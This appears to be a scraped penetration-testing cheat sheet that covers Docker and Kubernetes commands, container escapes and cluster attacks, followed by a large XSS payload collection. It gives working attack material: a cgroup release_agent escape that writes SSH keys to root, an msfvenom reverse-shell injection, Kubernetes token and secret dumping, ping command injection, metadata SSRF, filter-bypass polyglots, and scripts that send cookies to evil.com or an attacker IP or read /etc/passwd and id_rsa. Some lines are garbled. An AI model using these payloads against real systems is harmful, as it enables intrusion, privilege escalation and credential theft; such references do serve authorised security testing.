
    Docker

    Concepts

    • Docker Image

      • Read only file with OS, libraries and apps

      • Anyone can create a docker image

      • Images can be stored in Docker hub (default public registry) or private registry

    • Docker Container

      • Stateful instance of an image with a writable layer

      • Contains everything needed to run your application

      • Based on one or more images

    • Docker Registry

      • Repository of images

    • Docker Hub

      • Public docker registry

    • Dockerfile

      • Configuration file that contains instructions for building a Docker image

    • Docker-compose file

      • Configuration file for docker-compose

    • Docker Swarm

      • Group of machines that are running Docker and joined into a cluster.

      • When you run docker commands, they are executed by a swarm manager.

    • Portainer

      • Management solution for Docker hosts and Docker Swarm clusters

      • Via web interface

    • Docker capabilities

      • Turn the binary "root/non-root" into a fine-grained access control system.

      • Processes that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service capability instead.

    • Docker Control Groups

      • Used to allocate cpu, memory, network bandwith of host to container groups.

    Commands

    Docker security basics

    Detect inside a docker or running containers

    Escape NET_ADMIN docker container

    Attack insecure volume mounts

    Attack docker misconfiguration

    Audit Docker Runtime and Registries

    Attack container capabilities

    Tools

    Kubernetes

    Concepts

    • Kubernetes is a security orchestrator

    • Kubernetes master provides an API to interact with nodes

    • Each Kubernetes node run kubelet to interact with API and kube-proxy to refect Kubernetes networking services on each node.

    • Kubernetes objects are abstractions of states of your system.

    Commands

    External Recon

    Common open ports

    Common endpoints

    Quick attacks

    Attack Private Registry misconfiguration

    Attack Cluster Metadata with SSRF

    Attack escaping pod volume mounts to access node and host

    Tools

    Related

    Microsoft Security Testing Rules of Engagementwww.microsoft.com
    Logo
  • Pods: collection of container share a network and namespace in the same node.

  • Services: Group of pods running in the cluster.

  • Volumes: directory accesible to all containers in a pod. Solves the problem of loose info when container crash and restart.

  • Namespaces: scope of Kubernetes objects, like a workspace (dev-space).

  • # Search in docker hub
    docker search wpscan
    # Run docker container from docker hub
    docker run ubuntu:latest echo "Welcome to Ubuntu"
    # Run docker container from docker hub with interactive tty
    docker run --name samplecontainer -it ubuntu:latest /bin/bash
    # List running containers
    docker ps
    # List all containers
    docker ps -a
    # List docker images
    docker images
    # Run docker in background
    docker run --name pingcontainer -d alpine:latest ping 127.0.0.1 -c 50
    # Get container logs
    docker logs -f pingcontainer
    # Run container service in specified port
    docker run -d --name nginxalpine -p 7777:80 nginx:alpine
    # Access tty of running container
    docker exec -it nginxalpine sh
    # Get low-level info of docker object
    docker inspect (container or image)
    # Show image history
    docker history jess/htop
    # Stop container
    docker stop dummynginx
    # Remove container
    docker rm dummynginx
    # Run docker with specified PID namespace
    docker run --rm -it --pid=host jess/htop
    
    # Show logs
    docker logs containername
    docker logs -f containername
    # Show service defined logs
    docker service logs
    # Look generated real time events by docker runtime
    docker system events
    docker events --since '10m'
    docker events --filter 'image=alpine'
    docker events --filter 'event=stop'
    
    # Compose application (set up multicontainer docker app)
    docker-compose up -d
    # List docker volumes
    docker volume ls
    # Create volume
    docker volume create vol1
    # List docker networks
    docker network ls
    # Create docker network
    docker network create net1
    # Remove captability of container
    docker run --rm -it --cap-drop=NET_RAW alpine sh
    # Check capabilities inside container
    docker run --rm -it 71aa5f3f90dc bash
    capsh --print
    # Run full privileged container
    docker run --rm -it --privileged=true 71aa5f3f90dc bash
    capsh --print
    # From full privileged container you can access host devices
    more /dev/kmsg
    
    # Creating container groups
    docker run -d --name='low_priority' --cpuset-cpus=0 --cpu-shares=10 alpine md5sum /dev/urandom
    docker run -d --name='high_priority' --cpuset-cpus=0 --cpu-shares=50 alpine md5sum /dev/urandom
    # Stopping cgroups
    docker stop low_priority high_priority
    # Remove cgroups
    docker rm low_priority high_priority
    
    # Setup docker swarm cluster
    docker swarm init
    # Check swarm nodes
    docker node ls
    # Start new service in cluster
    docker service create --replicas 1 --publish 5555:80 --name nginxservice
    nginx:alpine
    # List services
    docker service ls
    # Inspect service
    docker service inspect --pretty nginxservice
    # Remove service
    docker service rm nginxservice
    # Leave cluster
    docker swarm leave (--force if only one node)
    
    # Start portainer
    docker run -d -p 9000:9000 --name portainer \
    --restart always -v /var/run/docker.sock:/var/run/docker.sock \
    -v /opt/portainer:/data portainer/portainer
    
    
    # Tools
    # https://github.com/lightspin-tech/red-kube
    # Get image checksum
    docker images --digests ubuntu
    # Check content trust to get signatures
    docker trust inspect mediawiki --pretty
    # Check vulns in container
    - Look vulns in base image
    - Use https://vulners.com/audit to check for docker packages
    - Inside any container
    cat /etc/issue
    dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'
    - Using Trivy https://github.com/aquasecurity/trivy
    trivy image knqyf263/vuln-image:1.2.3
    # Check metadata, secrets, env variables
    docker inspect <image name>
    docker inspect <container name>
    # Review image history
    docker history image:latest
    # Inspect everything
    docker volume inspect wordpress_db_data
    docker network inspect wordpress_default
    # Interesting look in the volume mountpoints
    docker volume inspect whatever
    cd /var/lib/docker/volumes/whatever
    # Integrity check for changed files
    docker diff imagename
    # Check if you're under a container
    https://github.com/genuinetools/amicontained#usage
    # Docker Bench Security (Security Auditor)
    cd /opt/docker-bench-security
    sudo bash docker-bench-security.sh
    - MAC Address
        - Docker uses a range from 02:42:ac:11:00:00 to 02:42:ac:11:ff:ff
    - List of running processes (ps aux)
        - Small number of processes generally indicate a container
    - CGROUPs
        - cat /proc/1/cgroup – should show docker process running
    - Check for existence of docker.sock (ls -al /var/run/docker.sock)
    - Check for container capabilities: capsh –print
    - On Pentests, check for tcp ports 2375 and 2376 – Default docker daemon ports
    # Check if you're NET_ADMIN
    ip link add dummy0 type dummy
    ip link delete dummy0
    # If it works, this script execute 'ps aux' in host:
    mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
    host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmd
    echo "ps aux > $host_path/output" >> /cmd
    chmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
    # You can replace the 'ps aux' command for:
    cat id_dsa.pub >> /root/.ssh/authorized_keys
    # After get reverse shell in docker container (eg insecure webapp with RCE)
    # This commands are executed inside insecure docker container
    # Check if it's available docker.sock
    ls -l /var/run/docker.sock
    # This allows to access the host docker service using host option with docker client by using the UNIX socket
    # Now download docker client in container and run commands in host
    ./docker -H unix:///var/run/docker.sock ps
    ./docker -H unix:///var/run/docker.sock images
    # Docker container with exposed ports running docker service
    # Docker API is exposed in those docker ports
    # Check query docker API with curl
    curl 10.11.1.111:2375/images/json | jq .
    # Then you can run commands in host machine
    docker -H tcp://10.11.1.111:2375 ps
    docker -H tcp://10.11.1.111:2375 images
    # Runtime
    
    # Host with multiple dockers running
    # Check docker daemon
    docker system info
    # Check docker API exposed on 0.0.0.0
    cat /lib/systemd/system/docker.service
    # Check if docker socket is running in any container
    docker inspect | grep -i '/var/run/'
    # Check rest of files docker related
    ls -l /var/lib/docker/
    # Check for any secret folder
    ls -l /var/run/
    ls -l /run/
    
    # Public Registries
    # Docker registry is a distribution system for Docker images. There will be diferent images and each may contain multiple tags and versions. By default the registry runs on port 5000 without authentication and TLS
    # Check if docker registry is up and running
    curl -s http://localhost:5000/v2/_catalog | jq .
    # Get tags of docker image
    curl -s http://localhost:5000/v2/devcode/tags/list | jq .
    # Download image locally
    docker pull localhost:5000/devcode:latest
    # Access container to review it
    docker run --rm -it localhost:5000/devcode:latest sh
    # Once mounted we can check the docker daemon config to see user and registry
    docker system info
    # And we can check the registries configured for the creds
    cat ~/.docker/config.json
    
    # Private registries
    # Check catalog
    curl 10.11.1.111:5000/v2/_catalog
    # Get image tags
    curl 10.11.1.111:5000/v2/privatecode/tags/list
    # Add the insecure-registry tag to download docker image
    vi /lib/systemd/system/docker.service
    ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry 10.11.1.111:5000
    # Restart docker service
    sudo systemctl daemon-reload
    sudo service docker restart
    # Download the image
    docker pull 10.11.1.111:5000/privatecode:whatevertag
    # Enter inside container and enumerate
    docker run --rm -it 10.11.1.111:5000/privatecode:golang-developer-team sh
    cd /app
    ls -la
    # Host with sys_ptrace capability enabled with host PID space. So it runs top command of host
    # You're already inside container
    # Check capabilities
    capsh --print
    # Upload reverse shell and linux-injector
    msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o payload.bin
    # Check any process running as root
    ps aux | grep root
    ./injector PID_RUNNING_AS_ROOT payload.bin
    # https://github.com/anchore/grype
    # https://github.com/aquasecurity/trivy
    # https://github.com/cr0hn/dockerscan
    # https://github.com/P3GLEG/Whaler
    # https://github.com/RhinoSecurityLabs/ccat
    https://github.com/stealthcopter/deepce
    https://github.com/anchore/grype
    # kubectl cli for run commands against Kubernetes clusters
    # Get info
    kubectl cluster-info
    # Get other objects info
    kubectl get nodes
    kubectl get pods
    kubectl get services
    # Deploy
    kubectl run nginxdeployment --image=nginx:alpine
    # Port forward to local machine
    kubectl port-forward <PODNAME> 1234:80
    # Deleting things
    kubectl delete pod
    # Shell in pod
    kubectl exec -it <PODNAME> sh
    # Check pod log
    kubectl logs <PODNAME>
    # List API resources
    kubectl api-resources
    # Check permissions
    kubectl auth can-i create pods
    # Get secrets
    kubectl get secrets <SECRETNAME> -o yaml
    # Get more info of specific pod
    kubectl describe pod <PODNAME>
    # Get cluster info
    kubectl cluster-info dump
    
    # Known vulns
    CVE-2016-9962
    CVE-2018-1002105
    CVE-2019-5736
    CVE-2019-9901
    # Find subdomains like k8s.target.tld
    # Search for yaml files on GitHub
    # Check etcdtcl exposed public 
    etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
    # Check pods info disclosure on http://<external-IP>:10255/pods
    # Dump all
    for res in $(kubectl api-resources -o name);do kubectl get "${res}" -A -o yaml > ${res}.yaml; done
    
    # Check for anon access
    curl -k https://<master_ip>:<port>
    etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
    curl http://<external-IP>:10255/pods
    
    #Dump tokens from inside the pod
    kubectl exec -ti <pod> -n <namespace> cat /run/secrets/kubernetes.io/serviceaccount/token
    
    #Dump all tokens from secrets
    kubectl get secrets -A -o yaml | grep " token:" | sort | uniq > alltokens.txt
    
    #Standard query for creds dump:
    curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/<namespace>/secrets/
    # This also could works /api/v1/namespaces/kube-system/secrets/
    # Web application deployed vulnerable to lfi
    # Read configuration through LFI
    cat /root/.docker/config.json
    # Download this file to your host and configure in your system
    docker login -u _json_key -p "$(cat config.json)" https://gcr.io
    # Pull the private registry image to get the backend source code
    docker pull gcr.io/training-automation-stuff/backend-source-code:latest
    # Inspect and enumerate the image
    docker run --rm -it gcr.io/training-automation-stuff/backend-source-code:latest
    # Check for secrets inside container
    ls -l /var/run/secrets/kubernetes.io/serviceaccount/
    # Check environment vars
    printenv
    # Webapp that check the health of other web applications
    # Request to 
    curl http://169.254.169.254/computeMetadata/v1/
    curl http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
    # Webapp makes ping
    # add some listing to find docker.sock
    ping whatever;ls -l /custom/docker/
    # Once found, download docker client
    ping whatever;wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O /root/docker-18.09.1.tgz
    ping whatever;tar -xvzf /root/docker-18.09.1.tgz -C /root/
    ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock ps
    ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock images
    # kube-bench - secutity checker
    kubectl apply -f kube-bench-node.yaml
    kubectl get pods --selector job-name=kube-bench-node
    kubectl logs kube-bench-podname
    
    # https://github.com/aquasecurity/kube-hunter
    kube-hunter --remote some.node.com
    
    # kubeaudit
    ./kubeaudit all
    
    # kubeletctl
    # https://github.com/cyberark/kubeletctl
    kubeletctl scan rce XXXXXXXX
    
    # https://github.com/cdk-team/CDK
    cdk evaluate
    
    # Api audit
    # https://github.com/averonesis/kubolt
    
    # PurplePanda https://github.com/carlospolop/PurplePanda
    Logo
    Logo

    XSS

    Try XSS in every input field, host headers, url redirections, URI paramenters and file upload namefiles.

    Actions: phising through iframe, cookie stealing, always try convert self to reflected.

    Tools

    Oneliners

    XSS recopilation

    Basics

    By tag

    Blind

    Bypasses

    Encoded

    Polyglots

    XSS in files

    DOM XSS

    XSS to CSRF

    AngularJS Sandbox

    XSS in JS

    XSS Waf Bypasses

    XSS Mindmap

    CORS Misconfigurations: Advanced Exploitation GuideIntigriti
    # https://github.com/hahwul/dalfox
    dalfox url http://testphp.vulnweb.com/listproducts.php
    
    # https://github.com/KathanP19/Gxss
    # Replace every param value with word FUZZ
    echo "https://target.com/some.php?first=hello&last=world" | Gxss -c 100
    
    # XSpear
    gem install XSpear
    XSpear -u 'https://web.com' -a
    XSpear -u 'https://www.web.com/?q=123' --cookie='role=admin' -v 1 -a -b https://six2dez.xss.ht -t 20
    XSpear -u "http://testphp.vulnweb.com/search.php?test=query" -p test -v 1
    
    # Xira
    # https://github.com/xadhrit/xira
    python3 xira.py -u url
    
    # Hosting XSS
    # surge.sh
    npm install --global surge
    mkdir mypayload
    cd mypayload
    echo "alert(1)" > payload.js
    surge # It returns the url
    
    # XSS vectors
    https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
    
    # Payload list
    https://github.com/m0chan/BugBounty/blob/master/xss-payload-list.txt
    
    https://github.com/terjanq/Tiny-XSS-Payloads
    
    # XSS to RCE
    # https://github.com/shelld3v/JSshell
    
    # Polyglots
    # https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
    
    # XSS browser
    # https://github.com/RenwaX23/XSSTRON
    
    # Blind
    # https://github.com/hipotermia/vaya-ciego-nen
    Penetration TestingAmazon Web Services, Inc.
    # WaybackUrls
    echo "domain.com" | waybackurls | httpx -silent | Gxss -c 100 -p Xss | sort -u | dalfox pipe -b https://six2dez.xss.ht
    # Param discovery based
    paramspider -d target.com > /filepath/param.txt && dalfox -b https://six2dez.xss.ht file /filepath/param.txt 
    # Blind XSS
    cat target_list.txt | waybackurls -no-subs | grep "https://" | grep -v "png\|jpg\|css\|js\|gif\|txt" | grep "=" | qsreplace -a | dalfox pipe -b https://six2dez.xss.ht
    # Reflected XSS
    echo "domain.com" | waybackurls | gf xss | kxss
    # Locators
    '';!--"<XSS>=&{()}
    
    # 101
    <script>alert(1)</script>
    <script>+-+-1-+-+alert(1)</script>
    <script>+-+-1-+-+alert(/xss/)</script>
    %3Cscript%3Ealert(0)%3C%2Fscript%3E
    %253Cscript%253Ealert(0)%253C%252Fscript%253E
    <svg onload=alert(1)>
    "><svg onload=alert(1)>
    <iframe src="javascript:alert(1)">
    "><script src=data:&comma;alert(1)//
    <noscript><p title="</noscript><img src=x onerror=alert(1)>">
    %5B'-alert(document.cookie)-'%5D
    # Tag filter bypass
    <svg/onload=alert(1)>
    <script>alert(1)</script>
    <script     >alert(1)</script>
    <ScRipT>alert(1)</sCriPt>
    <%00script>alert(1)</script>
    <script>al%00ert(1)</script>
    
    # HTML tags
    <img/src=x a='' onerror=alert(1)>
    <IMG """><SCRIPT>alert(1)</SCRIPT>">
    <img src=`x`onerror=alert(1)>
    <img src='/' onerror='alert("kalisa")'>
    <IMG SRC=# onmouseover="alert('xxs')">
    <IMG SRC= onmouseover="alert('xxs')">
    <IMG onmouseover="alert('xxs')">
    <BODY ONLOAD=alert('XSS')>
    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    <SCRIPT SRC=http:/evil.com/xss.js?< B >
    "><XSS<test accesskey=x onclick=alert(1)//test
    <svg><discard onbegin=alert(1)>
    <script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
    <script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>
    
    # Other tags
    <BASE HREF="javascript:alert('XSS');//">
    <DIV STYLE="width: expression(alert('XSS'));">
    <TABLE BACKGROUND="javascript:alert('XSS')">
    <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
    <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
    <xss id=x tabindex=1 onactivate=alert(1)></xss>
    <xss onclick="alert(1)">test</xss>
    <xss onmousedown="alert(1)">test</xss>
    <body onresize=alert(1)>”onload=this.style.width=‘100px’>
    <xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>
    
    # CharCode
    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
    
    # Input already in script tag
    @domain.com">user+'-alert`1`-'@domain.com
    
    # Scriptless
    <link rel=icon href="//evil?
    <iframe src="//evil?
    <iframe src="//evil?
    <input type=hidden type=image src="//evil?
    
    # Unclosed Tags
    <svg onload=alert(1)//
    # Blind XSS
    # https://github.com/LewisArdern/bXSS
    # https://github.com/ssl/ezXSS
    # https://xsshunter.com/
    
    # Blind XSS detection
    # Xsshunter payload in every field
    # Review forms
    # Contact Us pages
    # Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
    # Address fields of e-commerce sites
    # First or Last Name field while doing Credit Card Payments
    # Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
    # Log Viewers
    # Feedback Page
    # Chat Applications
    # Any app that requires user moderation
    # Host header
    # Why cancel subscription? forms
    # No parentheses
    <script>onerror=alert;throw 1</script>
    <script>throw onerror=eval,'=alert\x281\x29'</script>
    <script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
    <script>location='javascript:alert\x281\x29'</script>
    <script>alert`1`</script>
    <script>new Function`X${document.location.hash.substr`1`}`</script>
    
    # No parentheses and no semicolons
    <script>{onerror=alert}throw 1</script>
    <script>throw onerror=alert,1</script>
    <script>onerror=alert;throw 1337</script>
    <script>{onerror=alert}throw 1337</script>
    <script>throw onerror=alert,'some string',123,'haha'</script>
    
    # No parentheses and no spaces:
    <script>Function`X${document.location.hash.substr`1`}```</script>
    
    # Angle brackets HTML encoded (in an attribute)
    “onmouseover=“alert(1)
    ‘-alert(1)-’
    
    # If quote is escaped
    ‘}alert(1);{‘
    ‘}alert(1)%0A{‘
    \’}alert(1);{//
    
    # Embedded tab, newline, carriage return to break up XSS
    <IMG SRC="jav&#x09;ascript:alert('XSS');">
    <IMG SRC="jav&#x0A;ascript:alert('XSS');">
    <IMG SRC="jav&#x0D;ascript:alert('XSS');">
    
    # RegEx bypass
    <img src="X" onerror=top[8680439..toString(30)](1337)>
    
    # Other
    <svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
    # Unicode
    <script>\u0061lert(1)</script>
    <script>\u{61}lert(1)</script>
    <script>\u{0000000061}lert(1)</script>
    
    # Hex
    <script>eval('\x61lert(1)')</script>
    
    # HTML
    <svg><script>&#97;lert(1)</script></svg>
    <svg><script>&#x61;lert(1)</script></svg>
    <svg><script>alert&NewLine;(1)</script></svg>
    <svg><script>x="&quot;,alert(1)//";</script></svg>
    \’-alert(1)//
    
    # URL
    <a href="javascript:x='%27-alert(1)-%27';">XSS</a>
    
    # Double URL Encode
    %253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
    %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
    
    # Unicode + HTML
    <svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>
    
    # HTML + URL
    <iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>
    jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
    oNcliCk=alert(1)%20)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>%5Cx3csVg/<img/src/onerror=alert(2)>%5Cx3e
    javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(document.domain)//'>
    javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!--
    ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
    ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 
    ```
    %3C!%27/!%22/!\%27/\%22/ — !%3E%3C/Title/%3C/script/%3E%3CInput%20Type=Text%20Style=position:fixed;top:0;left:0;font-size:999px%20*/;%20Onmouseenter=confirm1%20//%3E#
    <!'/!”/!\'/\"/ — !></Title/</script/><Input Type=Text Style=position:fixed;top:0;left:0;font-size:999px */; Onmouseenter=confirm1 //>#
    jaVasCript:/-//*\/'/"/*/(/ */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/ — !>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    ">>
    ” ></plaintext></|><plaintext/onmouseover=prompt(1) >prompt(1)@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’ →” > "></script>alert(1)”><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">">
    " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
    ?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)
    <svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
    <sVg/oNloAd=”JaVaScRiPt:/**\/*\’/”\eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe src=jaVaScrIpT:eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))>
    ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
    jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><imgsrc="http://i.imgur.com/P8mL8.jpg">
    
    # No parenthesis, back ticks, brackets, quotes, braces
    a=1337,b=confirm,c=window,c.onerror=b;throw-a
    
    # Another uncommon
    '-(a=alert,b="_Y000!_",[b].find(a))-'
    
    # Common XSS in HTML Injection
    <svg onload=alert(1)>
    </tag><svg onload=alert(1)>
    "></tag><svg onload=alert(1)>
    'onload=alert(1)><svg/1='
    '>alert(1)</script><script/1='
    */alert(1)</script><script>/*
    */alert(1)">'onload="/*<svg/1='
    `-alert(1)">'onload="`<svg/1='
    */</script>'>alert(1)/*<script/1='
    p=<svg/1='&q='onload=alert(1)>
    p=<svg 1='&q='onload='/*&r=*/alert(1)'>
    q=<script/&q=/src=data:&q=alert(1)>
    <script src=data:,alert(1)>
    # inline
    "onmouseover=alert(1) //
    "autofocus onfocus=alert(1) //
    # src attribute
    javascript:alert(1)
    # JS injection
    '-alert(1)-'
    '/alert(1)//
    \'/alert(1)//
    '}alert(1);{'
    '}alert(1)%0A{'
    \'}alert(1);{//
    /alert(1)//\
    /alert(1)}//\
    ${alert(1)}
    
    # XSS onscroll
    <p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
    
    # XSS filter bypasss polyglot:
    ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
    ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 
    
    " <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText.fontsize(1)) }; x.open("GET","file:///home/reader/.ssh/id_rsa"); x.send(); </script>
    " <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
    
    # GO SSTI
    {{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
    
    # Some XSS exploitations
    - host header injection through xss
    add referer: batman 
    hostheader: bing.com">script>alert(document.domain)</script><"
    - URL redirection through xss
    document.location.href="http://evil.com"
    - phishing through xss - iframe injection
    <iframe src="http://evil.com" height="100" width="100"></iframe>
    - Cookie stealing through xss
    https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py
    https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md
    <script>var i=new Image;i.src="http://172.30.5.46:8888/?"+document.cookie;</script>
    <img src=x onerror=this.src='http://172.30.5.46:8888/?'+document.cookie;>
    <img src=x onerror="this.src='http://172.30.5.46:8888/?'+document.cookie; this.removeAttribute('onerror');">
    -  file upload  through xss
    upload a picturefile, intercept it, change picturename.jpg to xss paylaod using intruder attack
    -  remote file inclusion (RFI) through xss
    php?=http://brutelogic.com.br/poc.svg - xsspayload
    - convert self xss to reflected one
    copy response in a file.html -> it will work
    
    # XSS to SSRF
    <esi:include src="http://yoursite.com/capture" />
    
    # XSS to LFI
    <script>	x=new XMLHttpRequest;	x.onload=function(){		document.write(this.responseText)	};	x.open("GET","file:///etc/passwd");	x.send();</script>
    
    <img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
    <script>document.write('<iframe src=file:///etc/passwd></iframe>');</scrip>
    # XSS in filename:
    "><img src=x onerror=alert(document.domain)>.gif
    
    # XSS in metadata:
    exiftool -FIELD=XSS FILE
    exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
    exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg
    
    # XSS in GIF Magic Number:
    GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
    # If image can't load:
    url.com/test.php?p=<script src=http://url.com/upload/img/xss.gif>
    
    # XSS in png:
    https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
    
    # XSS in PDF:
    https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html?m=1
    
    # XSS upload filename:
    cp somefile.txt \"\>\<img\ src\ onerror=prompt\(1\)\>
    <img src=x onerror=alert('XSS')>.png
    "><img src=x onerror=alert('XSS')>.png
    "><svg onmouseover=alert(1)>.svg
    <<script>alert('xss')<!--a-->a.png
    "><svg onload=alert(1)>.gif
    
    # XSS Svg Image upload
    <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
       <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
       <script type="text/javascript">
          alert('XSS!');
       </script>
    </svg>
    
    # XSS svg image upload 2
    # If you're testing a text editor on a system that you can also upload files to, try to embed an svg:
    <iframe src="https://s3-us-west-2.amazonaws.com/s.cdpn.io/3/movingcart_1.svg" frameborder="0"></iframe>
    #If that works, upload an SVG with the following content and try rendering it using the text editor:
    <svg xmlns="http://www.w3.org/2000/svg">
        <script>alert(document.domain)</script>
    </svg>
    
    # XSS in SVG 3:
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
    
    # XSS in XML
    <html>
    <head></head>
    <body>
    <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
    </body>
    </html>
    
    # https://brutelogic.com.br/blog/file-upload-xss/
    
    " ="" '></><script></script><svg onload"="alertonload=alert(1)"" onload=setInterval'alert\x28document.domain\x29'
    
    # XSS in existent jpeg:
    exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
    
    # XSS in url (and put as header)
    http://acme.corp/?redir=[URI_SCHEME]://gremwell.com%0A%0A[XSS_PAYLOAD]
    
    # XSS in XML
    <?xml version="1.0" encoding="UTF-8"?>
    <html xmlns:html="http://w3.org/1999/xhtml">
    <html:script>prompt(document.domain);</html:script>
    </html>
    <img src=1 onerror=alert(1)>
    <iframe src=javascript:alert(1)>
    <details open ontoggle=alert(1)>
    <svg><svg onload=alert(1)>
    data:text/html,<img src=1 onerror=alert(1)>
